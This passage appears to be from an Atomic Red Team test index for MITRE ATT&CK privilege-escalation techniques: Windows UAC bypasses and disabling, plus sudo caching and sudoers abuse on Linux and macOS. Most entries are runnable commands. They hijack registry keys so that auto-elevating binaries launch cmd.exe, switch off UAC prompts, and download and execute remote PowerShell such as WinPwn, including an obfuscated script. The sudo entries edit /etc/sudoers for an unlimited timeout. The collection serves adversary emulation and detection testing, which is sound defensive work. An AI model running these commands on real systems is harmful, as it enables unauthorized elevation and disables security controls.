Ignore ' name: powershell - name: Bypass UAC using ComputerDefaults (PowerShell) auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f description: | PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10 Upon execution administrative command prompt should open supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\ComputerDefaults.exe" cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore ' name: powershell - name: Bypass UAC by Mocking Trusted Directories auto_generated_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1 description: | Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | mkdir "\\?\C:\Windows \System32\" copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe" mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe" cleanup_command: | rd "\\?\C:\Windows \" /S /Q >nul 2>nul del "c:\testbypass.exe" >nul 2>nul name: command_prompt elevation_required: true - name: Bypass UAC using sdclt DelegateExecute auto_generated_guid: 3be891eb-4608-4173-87e8-78b494c029b7 description: | Bypasses User Account Control using a fileless method, registry only. Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe [Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass) Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1) supported_platforms: - windows input_arguments: command_to_execute: description: Command to execute type: string default: cmd.exe /c notepad.exe executor: command: | New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command_to_execute}' New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" Start-Process -FilePath $env:windir\system32\sdclt.exe Start-Sleep -s 3 cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore ' name: powershell - name: Disable UAC using reg.exe auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9 description: | Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0 supported_platforms: - windows executor: command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f ' cleanup_command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f ' name: command_prompt elevation_required: true - name: Bypass UAC using SilentCleanup task auto_generated_guid: 28104f8a-4ff1-4582-bcf6-699dce156608 description: | Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/ There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level). For example, we can set the windir registry kye to: "cmd /k REM " And forcefully run SilentCleanup task: schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs. supported_platforms: - windows input_arguments: file_path: description: Path to the bat file type: string default: PathToAtomicsFolder\T1548.002\src\T1548.002.bat executor: command: '"#{file_path}" ' name: command_prompt elevation_required: false - name: UACME Bypass Method 23 auto_generated_guid: 8ceab7a2-563a-47d2-b5ba-0995211128d7 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\23 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 31 auto_generated_guid: b0f76240-9f33-4d34-90e8-3a7d501beb15 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\31 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 33 auto_generated_guid: e514bb03-f71c-4b22-9092-9f961ec6fb03 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\33 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 34 auto_generated_guid: 695b2dac-423e-448e-b6ef-5b88e93011d6 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\34 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 39 auto_generated_guid: 56163687-081f-47da-bb9c-7b231c5585cf description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\39 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 56 auto_generated_guid: 235ec031-cd2d-465d-a7ae-68bab281e80e description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\56 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 59 auto_generated_guid: dfb1b667-4bb8-4a63-a85e-29936ea75f29 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\59 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: UACME Bypass Method 61 auto_generated_guid: 7825b576-744c-4555-856d-caf3460dc236 description: "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n" supported_platforms: - windows input_arguments: uacme_exe: description: Path to uacme executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\uacme\61 Akagi64.exe dependency_executor_name: powershell dependencies: - description: 'UACME executable must exist on disk at specified location ("#{uacme_exe}") ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force executor: command: '"#{uacme_exe}" ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore name: command_prompt - name: WinPwn - UAC Magic auto_generated_guid: 964d8bf8-37bc-4fd3-ba36-ad13761ebbcc description: UAC bypass using Magic technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic name: powershell - name: WinPwn - UAC Bypass ccmstp technique auto_generated_guid: f3c145f9-3c8d-422c-bd99-296a17a8f567 description: UAC bypass using ccmstp technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstp name: powershell - name: WinPwn - UAC Bypass DiskCleanup technique auto_generated_guid: 1ed67900-66cd-4b09-b546-2a0ef4431a0c description: UAC bypass using DiskCleanup technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanup name: powershell - name: WinPwn - UAC Bypass DccwBypassUAC technique auto_generated_guid: 2b61977b-ae2d-4ae4-89cb-5c36c89586be description: UAC Bypass DccwBypassUAC technique via function of WinPwn supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1') name: powershell - name: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key auto_generated_guid: 251c5936-569f-42f4-9ac2-87a173b9e9b8 description: "Disable User Account Conrol (UAC) for admin by setting the registry key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), \n[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)\n" supported_platforms: - windows executor: command: |- $orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force cleanup_command: 'Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force ' name: powershell elevation_required: true - name: UAC Bypass with WSReset Registry Modification auto_generated_guid: 3b96673f-9c92-40f1-8a3e-ca060846f8d9 description: "The following UAC bypass is focused on a registry key under \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\" that will trigger a command once wsreset.exe runs. \nThis bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.\nIf successful, the command to run will spawn off wsreset.exe. \n[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)\n" supported_platforms: - windows input_arguments: commandpath: description: Registry path type: string default: HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command commandtorun: description: Command to run type: string default: C:\Windows\System32\cmd.exe /c start cmd.exe executor: command: |- New-Item #{commandpath} -Force | Out-Null New-ItemProperty -Path #{commandpath} -Name "DelegateExecute" -Value "" -Force | Out-Null Set-ItemProperty -Path #{commandpath} -Name "(default)" -Value "#{commandtorun}" -Force -ErrorAction SilentlyContinue | Out-Null $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden cleanup_command: 'Remove-Item #{commandpath} -Recurse -Force ' name: powershell - name: Disable UAC - Switch to the secure desktop when prompting for elevation via registry key auto_generated_guid: 85f3a526-4cfa-4fe7-98c1-dea99be025c7 description: "User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. \nThis setting ensures that the elevation prompt is only used in secure desktop mode.\nDisable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop to 0.\n" supported_platforms: - windows executor: command: Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force cleanup_command: 'Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force ' name: powershell elevation_required: true - name: Disable UAC notification via registry keys auto_generated_guid: 160a7c77-b00e-4111-9e45-7c2a44eda3fd description: 'This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system''s operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicious software to execute with elevated privileges. [Article](https://securityintelligence.com/x-force/x-force-hive0129-targeting-financial-institutions-latam-banking-trojan/) ' supported_platforms: - windows executor: command: 'reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 1 /f ' cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 0 /f ' name: command_prompt - name: Disable ConsentPromptBehaviorAdmin via registry keys auto_generated_guid: a768aaa2-2442-475c-8990-69cf33af0f4e description: 'This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction. ' supported_platforms: - windows executor: command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f ' cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f ' name: command_prompt T1548.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0 type: attack-pattern created: '2020-01-30T14:34:44.992Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1548.003 url: https://attack.mitre.org/techniques/T1548/003 - url: https://www.sudo.ws/ description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018. source_name: sudo man page 2018 - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. source_name: OSX.Dok Malware - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018. source_name: cybereason osx proton modified: '2022-05-11T14:00:00.188Z' name: 'Abuse Elevation Control Mechanism: Sudo and Sudo Caching' description: |- Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges. Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though. Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user. In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: Process Metadata' x_mitre_permissions_required: - User x_mitre_effective_permissions: - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1548.003 atomic_tests: - name: Sudo usage auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e description: 'Common Sudo enumeration methods. ' supported_platforms: - macos - linux executor: name: sh elevation_required: true command: "sudo -l \nsudo cat /etc/sudoers\nsudo vim /etc/sudoers\n" - name: Sudo usage (freebsd) auto_generated_guid: 2bf9a018-4664-438a-b435-cc6f8c6f71b1 description: 'Common Sudo enumeration methods. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if sudo is installed. ' prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y sudo)\n" executor: name: sh elevation_required: true command: "sudo -l \nsudo cat /usr/local/etc/sudoers\nsudo ee /usr/local/etc/sudoers\n" - name: Unlimited sudo cache timeout auto_generated_guid: a7b17659-dd5e-46f7-b7d1-e6792c91d0bc description: 'Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using ''visudo'', do not do this on a production system. ' supported_platforms: - macos - linux executor: name: sh elevation_required: true command: | sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers sudo visudo -c -f /etc/sudoers - name: Unlimited sudo cache timeout (freebsd) auto_generated_guid: a83ad6e8-6f24-4d7f-8f44-75f8ab742991 description: 'Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using ''visudo'', do not do this on a production system. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if sudo is installed. ' prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y sudo)\n" executor: name: sh elevation_required: true command: | sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' 